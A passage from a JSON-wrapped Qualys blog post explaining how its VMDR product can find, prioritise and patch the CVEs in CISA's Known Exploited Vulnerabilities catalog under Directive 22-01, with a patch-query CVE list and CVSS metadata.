to their organizations\u2019 digital infrastructure, and then to automate remediation. Qualys\u2019 guidance for rapid response to Directive 22-01 follows.\n\nThe Qualys Research team has released multiple remote and authenticated detections (QIDs) for these vulnerabilities. Since the directive includes 379 CVEs (as of February 22, 2022) we recommend executing your search based on QQL (Qualys Query Language), as shown here for released QIDs by Qualys **_vulnerabilities.vulnerability.threatIntel.cisaKnownExploitedVulns:"true"_**\n\n\n\n### CISA Exploited RTI\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can effectively prioritize those vulnerabilities using VMDR Prioritization. Qualys has introduced an **RTI Category, CISA Exploited**.\n\nThis RTI indicates that the vulnerabilities are associated with the CISA catalog.\n\n\n\nIn addition, you can locate a vulnerable host through Qualys Threat Protection by simply clicking on the impacted hosts to effectively identify and track this vulnerability.\n\n\n\nWith Qualys Unified Dashboard, you can track your exposure to CISA Known Exploited Vulnerabilities and track your status and overall management in real-time. With dashboard widgets, you can keep track of the status of vulnerabilities in your environment using the [\u201cCISA 2010-21| KNOWN EXPLOITED VULNERABILITIES\u201d](<https://success.qualys.com/support/s/article/000006791>) Dashboard.\n\n### Detailed Operational Dashboard\n\n\n\n### Remediation\n\nTo comply with this directive, federal agencies need to remediate all vulnerabilities as per the remediation timelines suggested in [CISA Catalog](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>)**.**\n\nQualys patch content covers many Microsoft, Linux, and third-party applications. However, some of the vulnerabilities introduced by CISA are not currently supported out-of-the-box by Qualys. To remediate those vulnerabilities, Qualys provides the ability to deploy custom patches. The flexibility to customize patch deployment allows customers to patch all the remaining CVEs in their list.\n\nCustomers can copy the following query into the Patch Management app to help customers comply with the directive\u2019s aggressive remediation timelines set by CISA. Running this query for specific CVEs will find required patches and allow quick and efficient deployment of those missing patches to all assets directly from within Qualys Cloud Platform.\n \n \n cve:[`CVE-2010-5326`,`CVE-2012-0158`,`CVE-2012-0391`,`CVE-2012-3152`,`CVE-2013-3900`,`CVE-2013-3906`,`CVE-2014-1761`,`CVE-2014-1776`,`CVE-2014-1812`,`CVE-2015-1635`,`CVE-2015-1641`,`CVE-2015-4852`,`CVE-2016-0167`,`CVE-2016-0185`,`CVE-2016-3088`,`CVE-2016-3235`,`CVE-2016-3643`,`CVE-2016-3976`,`CVE-2016-7255`,`CVE-2016-9563`,`CVE-2017-0143`,`CVE-2017-0144`,`CVE-2017-0145`,`CVE-2017-0199`,`CVE-2017-0262`,`CVE-2017-0263`,`CVE-2017-10271`,`CVE-2017-11774`,`CVE-2017-11882`,`CVE-2017-5638`,`CVE-2017-5689`,`CVE-2017-6327`,`CVE-2017-7269`,`CVE-2017-8464`,`CVE-2017-8759`,`CVE-2017-9791`,`CVE-2017-9805`,`CVE-2017-9841`,`CVE-2018-0798`,`CVE-2018-0802`,`CVE-2018-1000861`,`CVE-2018-11776`,`CVE-2018-15961`,`CVE-2018-15982`,`CVE-2018-2380`,`CVE-2018-4878`,`CVE-2018-4939`,`CVE-2018-6789`,`CVE-2018-7600`,`CVE-2018-8174`,`CVE-2018-8453`,`CVE-2018-8653`,`CVE-2019-0193`,`CVE-2019-0211`,`CVE-2019-0541`,`CVE-2019-0604`,`CVE-2019-0708`,`CVE-2019-0752`,`CVE-2019-0797`,`CVE-2019-0803`,`CVE-2019-0808`,`CVE-2019-0859`,`CVE-2019-0863`,`CVE-2019-10149`,`CVE-2019-10758`,`CVE-2019-11510`,`CVE-2019-11539`,`CVE-2019-1214`,`CVE-2019-1215`,`CVE-2019-1367`,`CVE-2019-1429`,`CVE-2019-1458`,`CVE-2019-16759`,`CVE-2019-17026`,`CVE-2019-17558`,`CVE-2019-18187`,`CVE-2019-18988`,`CVE-2019-2725`,`CVE-2019-8394`,`CVE-2019-9978`,`CVE-2020-0601`,`CVE-2020-0646`,`CVE-2020-0674`,`CVE-2020-0683`,`CVE-2020-0688`,`CVE-2020-0787`,`CVE-2020-0796`,`CVE-2020-0878`,`CVE-2020-0938`,`CVE-2020-0968`,`CVE-2020-0986`,`CVE-2020-10148`,`CVE-2020-10189`,`CVE-2020-1020`,`CVE-2020-1040`,`CVE-2020-1054`,`CVE-2020-1147`,`CVE-2020-11738`,`CVE-2020-11978`,`CVE-2020-1350`,`CVE-2020-13671`,`CVE-2020-1380`,`CVE-2020-13927`,`CVE-2020-1464`,`CVE-2020-1472`,`CVE-2020-14750`,`CVE-2020-14871`,`CVE-2020-14882`,`CVE-2020-14883`,`CVE-2020-15505`,`CVE-2020-15999`,`CVE-2020-16009`,`CVE-2020-16010`,`CVE-2020-16013`,`CVE-2020-16017`,`CVE-2020-17087`,`CVE-2020-17144`,`CVE-2020-17496`,`CVE-2020-17530`,`CVE-2020-24557`,`CVE-2020-25213`,`CVE-2020-2555`,`CVE-2020-6207`,`CVE-2020-6287`,`CVE-2020-6418`,`CVE-2020-6572`,`CVE-2020-6819`,`CVE-2020-6820`,`CVE-2020-8243`,`CVE-2020-8260`,`CVE-2020-8467`,`CVE-2020-8468`,`CVE-2020-8599`,`CVE-2021-1647`,`CVE-2021-1675`,`CVE-2021-1732`,`CVE-2021-21017`,`CVE-2021-21148`,`CVE-2021-21166`,`CVE-2021-21193`,`CVE-2021-21206`,`CVE-2021-21220`,`CVE-2021-21224`,`CVE-2021-22204`,`CVE-2021-22893`,`CVE-2021-22894`,`CVE-2021-22899`,`CVE-2021-22900`,`CVE-2021-26411`,`CVE-2021-26855`,`CVE-2021-26857`,`CVE-2021-26858`,`CVE-2021-27059`,`CVE-2021-27065`,`CVE-2021-27085`,`CVE-2021-28310`,`CVE-2021-28550`,`CVE-2021-30116`,`CVE-2021-30551`,`CVE-2021-30554`,`CVE-2021-30563`,`CVE-2021-30632`,`CVE-2021-30633`,`CVE-2021-31199`,`CVE-2021-31201`,`CVE-2021-31207`,`CVE-2021-31955`,`CVE-2021-31956`,`CVE-2021-31979`,`CVE-2021-33739`,`CVE-2021-33742`,`CVE-2021-33766`,`CVE-2021-33771`,`CVE-2021-34448`,`CVE-2021-34473`,`CVE-2021-34523`,`CVE-2021-34527`,`CVE-2021-35211`,`CVE-2021-35247`,`CVE-2021-36741`,`CVE-2021-36742`,`CVE-2021-36934`,`CVE-2021-36942`,`CVE-2021-36948`,`CVE-2021-36955`,`CVE-2021-37415`,`CVE-2021-37973`,`CVE-2021-37975`,`CVE-2021-37976`,`CVE-2021-38000`,`CVE-2021-38003`,`CVE-2021-38645`,`CVE-2021-38647`,`CVE-2021-38648`,`CVE-2021-38649`,`CVE-2021-40438`,`CVE-2021-40444`,`CVE-2021-40449`,`CVE-2021-40539`,`CVE-2021-4102`,`CVE-2021-41773`,`CVE-2021-42013`,`CVE-2021-42292`,`CVE-2021-42321`,`CVE-2021-43890`,`CVE-2021-44077`,`CVE-2021-44228`,`CVE-2021-44515`,`CVE-2022-0609`,`CVE-2022-21882`,`CVE-2022-24086`,`CVE-2010-1871`,`CVE-2017-12149`,`CVE-2019-13272` ]\n\n\n\nVulnerabilities can be validated through VMDR and a Patch Job can be configured for vulnerable assets.\n\n\n\n### Federal Enterprises and Agencies Can Act Now\n\nFor federal agencies and enterprises, it\u2019s a race against time to remediate these vulnerabilities across their respective environments and achieve compliance with this binding directive. Qualys solutions can help your organization to achieve compliance with this binding directive. Qualys Cloud Platform is FedRAMP authorized, with [107 FedRAMP authorizations](<https://marketplace.fedramp.gov/#!/product/qualys-cloud-platform?sort=-authorizations>) to our credit.\n\nHere are a few steps Federal entities can take immediately:\n\n * Run vulnerability assessments against all of your assets by leveraging our various sensors such as Qualys agent, scanners, and more\n * Prioritize remediation by due dates\n * Identify all vulnerable assets automatically mapped into the threat feed\n * Use Qualys Patch Management to apply patches and other configuration changes\n * Track remediation progress through our Unified Dashboards\n\n### Summary\n\nUnderstanding just which vulnerabilities exist in your environment is a critical but small part of threat mitigation. Qualys VMDR helps customers discover their exposure, assess threats, assign risk, and remediate threats \u2013 all in a single unified solution. Qualys customers rely on the accuracy of Qualys\u2019 threat intelligence to protect their digital environments and stay current with patch guidance. Using Qualys VMDR can help any size organization efficiently respond to CISA Binding Operational Directive 22-01.\n\n#### Getting Started\n\nLearn how [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>) provides actionable vulnerability guidance and automates remediation in one solution. Ready to get started? Sign up for a 30-day, no-cost [VMDR trial](<https://www.qualys.com/forms/vmdr/>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-23T05:39:00", "type": "qualysblog", "title": "Managing CISA Known Exploited Vulnerabilities with Qualys VMDR", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2010-1871", "CVE-2010-5326", "CVE-2012-0158", "CVE-2012-0391", "CVE-2012-3152", "CVE-2013-3900", "CVE-2013-3906", "CVE-2014-1761", "CVE-2014-1776", "CVE-2014-1812", "CVE-2015-1635", "CVE-2015-1641", "CVE-2015-4852", "CVE-2016-0167", "CVE-2016-0185", "CVE-2016-3088", "CVE-2016-3235", "CVE-2016-3643", "CVE-2016-3976", "CVE-2016-7255", "CVE-2016-9563", "CVE-2017-0143", "CVE-2017-0144", "CVE-2017-0145", "CVE-2017-0199", "CVE-2017-0262", "CVE-2017-0263", "CVE-2017-10271", "CVE-2017-11774", "CVE-2017-11882", "CVE-2017-12149", "CVE-2017-5638", "CVE-2017-5689", "CVE-2017-6327", "CVE-2017-7269", "CVE-2017-8464", "CVE-2017-8759", "CVE-2017-9791", "CVE-2017-9805", "CVE-2017-9841", "CVE-2018-0798", "CVE-2018-0802", "CVE-2018-1000861", "CVE-2018-11776", "CVE-2018-15961", "CVE-2018-15982", "CVE-2018-2380", "CVE-2018-4878", "CVE-2018-4939", "CVE-2018-6789", "CVE-2018-7600", "CVE-2018-8174", "CVE-2018-8453", "CVE-2018-8653", "CVE-2019-0193", "CVE-2019-0211", "CVE-2019-0541", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-0752", "CVE-2019-0797", "CVE-2019-0803", "CVE-2019-0808", "CVE-2019-0859", "CVE-2019-0863", "CVE-2019-10149", "CVE-2019-10758", "CVE-2019-11510", "CVE-2019-11539", "CVE-2019-1214", "CVE-2019-1215", "CVE-2019-13272", "CVE-2019-1367", "CVE-2019-1429", "CVE-2019-1458", "CVE-2019-16759", "CVE-2019-17026", "CVE-2019-17558", "CVE-2019-18187", "CVE-2019-18988", "CVE-2019-2725", "CVE-2019-8394", "CVE-2019-9978", "CVE-2020-0601", "CVE-2020-0646", "CVE-2020-0674", "CVE-2020-0683", "CVE-2020-0688", "CVE-2020-0787", "CVE-2020-0796", "CVE-2020-0878", "CVE-2020-0938", "CVE-2020-0968", "CVE-2020-0986", "CVE-2020-10148", "CVE-2020-10189", "CVE-2020-1020", "CVE-2020-1040", "CVE-2020-1054", "CVE-2020-1147", "CVE-2020-11738", "CVE-2020-11978", "CVE-2020-1350", "CVE-2020-13671", "CVE-2020-1380", "CVE-2020-13927", "CVE-2020-1464", "CVE-2020-1472", "CVE-2020-14750", "CVE-2020-14871", "CVE-2020-14882", "CVE-2020-14883", "CVE-2020-15505", "CVE-2020-15999", "CVE-2020-16009", "CVE-2020-16010", "CVE-2020-16013", "CVE-2020-16017", "CVE-2020-17087", "CVE-2020-17144", "CVE-2020-17496", "CVE-2020-17530", "CVE-2020-24557", "CVE-2020-25213", "CVE-2020-2555", "CVE-2020-6207", "CVE-2020-6287", "CVE-2020-6418", "CVE-2020-6572", "CVE-2020-6819", "CVE-2020-6820", "CVE-2020-8243", "CVE-2020-8260", "CVE-2020-8467", "CVE-2020-8468", "CVE-2020-8599", "CVE-2021-1647", "CVE-2021-1675", "CVE-2021-1732", "CVE-2021-21017", "CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21206", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-22204", "CVE-2021-22893", "CVE-2021-22894", "CVE-2021-22899", "CVE-2021-22900", "CVE-2021-26411", "CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27059", "CVE-2021-27065", "CVE-2021-27085", "CVE-2021-28310", "CVE-2021-28550", "CVE-2021-30116", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-31199", "CVE-2021-31201", "CVE-2021-31207", "CVE-2021-31955", "CVE-2021-31956", "CVE-2021-31979", "CVE-2021-33739", "CVE-2021-33742", "CVE-2021-33766", "CVE-2021-33771", "CVE-2021-34448", "CVE-2021-34473", "CVE-2021-34523", "CVE-2021-34527", "CVE-2021-35211", "CVE-2021-35247", "CVE-2021-36741", "CVE-2021-36742", "CVE-2021-36934", "CVE-2021-36942", "CVE-2021-36948", "CVE-2021-36955", "CVE-2021-37415", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-38645", "CVE-2021-38647", "CVE-2021-38648", "CVE-2021-38649", "CVE-2021-40438", "CVE-2021-40444", "CVE-2021-40449", "CVE-2021-40539", "CVE-2021-4102", "CVE-2021-41773", "CVE-2021-42013", "CVE-2021-42292", "CVE-2021-42321", "CVE-2021-43890", "CVE-2021-44077", "CVE-2021-44228", "CVE-2021-44515", "CVE-2022-0609", "CVE-2022-21882", "CVE-2022-24086"], "modified": "2022-02-23T05:39:00", "id": "QUALYSBLOG:0082A77BD8EFFF48B406D107FEFD0DD3", "href": "https://blog.qualys.com/category/product-tech", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}
CVE-2020-8260
